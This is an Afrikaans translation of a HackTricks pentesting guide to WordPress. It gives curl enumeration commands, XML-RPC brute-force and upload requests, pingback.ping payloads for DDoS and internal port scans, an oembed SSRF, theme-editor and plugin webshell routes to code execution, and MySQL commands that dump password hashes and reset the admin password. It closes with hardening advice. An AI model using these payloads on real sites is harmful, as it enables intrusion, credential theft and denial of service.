hacktricks/network-services-pentesting/pentesting-web/wordpress.md

20 KiB

Wordpress

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik te bou en werkstrome outomatiseer aangedryf deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Basiese Inligting

Geüploade lêers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalêers kan gevind word in /wp-content/themes/, so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die twintigtwintig-tema te gebruik, kan jy die 404.php-lêer in: /wp-content/themes/twentytwelve/404.php
'n Ander nuttige URL kan wees: /wp-content/themes/default/404.php

In wp-config.php kan jy die hoofwagwoord van die databasis vind.

Verkieslike aanmeldingspaaie om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Hoof WordPress Lêers

  • index.php
  • license.txt bevat nuttige inligting soos die weergawe van WordPress wat geïnstalleer is.
  • wp-activate.php word gebruik vir die e-posaktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
  • Aanmeldingsgids (kan hernoem word om dit te verberg):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om met HTTP oorgedra te word as die vervoermeganisme en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.
  • Die wp-content-map is die hoofgids waar plugins en temas gestoor word.
  • wp-content/uploads/ Is die gids waar enige lêers wat na die platform geüploa word, gestoor word.
  • wp-includes/ Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.
  • wp-sitemap.xml In Wordpress-weergawes 5.5 en hoër, genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare plasings tipes en taksonomieë.

Na-uitbuiting

  • Die wp-config.php-lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en soute, en die databasis tabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing.

Gebruikers Toestemmings

  • Administrateur
  • Redakteur: Publiseer en bestuur sy eie en ander plasings
  • Outeur: Publiseer en bestuur sy eie plasings
  • Bydraer: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie
  • Intekenaar: Blaai deur plasings en wysig hul profiel

Passiewe Opsomming

Kry WordPress-weergawe

Kyk of jy die lêers /license.txt of /readme.html kan vind

Binne die bronkode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS skakel lêers

  • JavaScript lêers

Kry Inproppe

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Kry Temas

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Haal weergawes in die algemeen uit

{% endcode %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Gebruik Trickest om maklik en outomatiseer werkafloeie te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandaag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aktiewe opname

Invoegtoepassings en Temas

Jy sal waarskynlik nie in staat wees om al die Invoegtoepassings en Temas te vind nie. Om almal te ontdek, sal jy nodig hê om aktief 'n lys van Invoegtoepassings en Temas te Brute Force (hopelik vir ons is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).

Gebruikers

ID Brute

Jy kan geldige gebruikers van 'n WordPress-webwerf kry deur gebruikers-ID's te Brute Force:

curl -s -I -X GET http://blog.example.com/?author=1

Indien die antwoorde 200 of 30X is, beteken dit dat die id geldig is. Indien die antwoord 400 is, dan is die id ongeldig.

wp-json

Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen:

curl http://blog.example.com/wp-json/wp/v2/users

'n Ander /wp-json/ eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.

Let ook dat /wp-json/wp/v2/pages IP-adresse kan laat uitlek.

Login gebruikersnaam enumerasie

Wanneer jy inlog by /wp-login.php is die boodskap anders as die aangeduide gebruikersnaam bestaan of nie.

XML-RPC

As xml-rpc.php aktief is, kan jy 'n geloofsbriek-kragaanval uitvoer of dit gebruik om DoS-aanvalle op ander bronne te lanceer. (Jy kan hierdie proses outomatiseer deur hierdie te gebruik byvoorbeeld).

Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Verifikasie van Gelde

wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is van die metodes wat gebruik kan word om gelde te verifieer. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die boodskap "Verkeerde gebruikersnaam of wagwoord" binne 'n 200-kode respons behoort te verskyn as die geloofsbriewe nie geldig is nie.

Met die regte geloofsbriewe kan jy 'n lêer oplaai. In die respons sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ook is daar 'n vinniger manier om geloofsbriewe met geweld te ontsluit deur system.multicall te gebruik aangesien jy verskeie geloofsbriewe op dieselfde versoek kan probeer:

Bypass 2FA

Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige geloofsbriewe het maar die hoofingang word beskerm deur 2FA, mag jy dalk xmlrpc.php misbruik om in te teken met daardie geloofsbriewe deur 2FA te omseil. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy mag steeds kan slaag om by RCE uit te kom soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS of poort skandering

As jy die metode pingback.ping binne die lys kan vind, kan jy die Wordpress laat 'n willekeurige versoek na enige gas/hefboom stuur.
Dit kan gebruik word om duisende Wordpress webwerwe te vra om na 'n plek toe te gaan (sodat 'n DDoS in daardie plek veroorsaak word) of jy kan dit gebruik om Wordpress te laat skandeer vir 'n interne netwerk (jy kan enige poort aandui).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Indien jy faultCode met 'n waarde groter as 0 (17) kry, beteken dit dat die poort oop is.

Neem 'n kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lêer toegang kry, word 'n "swaar" MySQL navraag uitgevoer, wat deur aanvallers gebruik kan word om 'n DoS te veroordeel.
Daarbenewens word die wp-cron.php standaard opgeroep met elke bladsybelading (telkens wanneer 'n klient enige Wordpress-bladsy aanvra), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).

Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).

/wp-json/oembed/1.0/proxy - SSRF

Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te benader en die Wordpress-webwerf kan 'n versoek aan jou rig.

Dit is die reaksie wanneer dit nie werk nie:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Hierdie instrument toets of die methodName: pingback.ping en vir die pad /wp-json/oembed/1.0/proxy bestaan, en as dit wel bestaan, probeer dit om hulle uit te buit.

Outomatiese Gereedskap

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Gebruik Trickest om maklik en outomatiese werksvloei te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Kry toegang deur 'n bietjie te oorskryf

Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lêer omkeer. So kon jy die posisie 5389 van die lêer /var/www/html/wp-includes/user.php omkeer om die NOT (!) operasie te NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Paneel RCE

Wysig 'n php van die gebruikte tema (admin-inligting benodig)

Verskyning → Tema-redakteur → 404-sjabloon (aan die regterkant)

Verander die inhoud vir 'n php dop:

Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Jy kan gebruik:

use exploit/unix/webapp/wp_admin_shell_upload

Inprop RCE

PHP inprop

Dit mag moontlik wees om .php lêers as 'n inprop te laai.
Skep jou php agterdeur deur byvoorbeeld te gebruik:

Voeg dan 'n nuwe inprop by:

Laai die inprop op en druk op Installeer Nou:

Klik op Gaan voort:

Dit sal waarskynlik niks skynbaar doen nie, maar as jy na Media gaan, sal jy sien dat jou dop geüpload is:

Kry toegang daartoe en jy sal die URL sien om die omgekeerde dop uit te voer:

Oplaai en aktivering van skadelike inprop

Hierdie metode behels die installasie van 'n skadelike inprop wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web dop te verkry. Hierdie proses word uitgevoer deur die WordPress dashboard soos volg:

  1. Inprop Verkryging: Die inprop word verkry van 'n bron soos Exploit DB soos hier.
  2. Inprop Installasie:
  • Navigeer na die WordPress dashboard, gaan dan na Dashboard > Inproppe > Laai Inprop op.
  • Laai die zip-lêer van die afgelaaide inprop op.
  1. Inprop Aktivering: Sodra die inprop suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
  2. Uitbuiting:
  • Met die inprop "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
  • Die Metasploit-raamwerk bied 'n uitbuit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen.
  • Dit word opgemerk dat hierdie net een van die baie metodes is om 'n WordPress-webwerf uit te buit.

Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die inprop. Dit is egter belangrik om daarop te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos deurdringende toetsing met uitdruklike toestemming.

Vir meer gedetailleerde stappe kyk: https://www.hackingarticles.in/wordpress-reverse-shell/**

Na-uitbuiting

Haal gebruikersname en wagwoorde uit:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Verander admin wagwoord:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress Beskerming

Gereelde Opdaterings

Maak seker dat WordPress, plugins, en themes opgedateer is. Bevestig ook dat outomatiese opdatering ingeskakel is in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ook, installeer slegs vertroude WordPress-inproppe en -temas.

Sekuriteitsinproppe

Ander Aanbevelings

  • Verwyder verstek admin gebruiker
  • Gebruik sterk wagwoorde en 2FA
  • Deurlopend hersien gebruikers toestemmings
  • Beperk aanmeldingspogings om Brute Force aanvalle te voorkom
  • Hernoem wp-admin.php lêer en staan slegs toegang intern of vanaf sekere IP-adresse toe.


Gebruik Trickest om maklik werkstrome outomaties te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: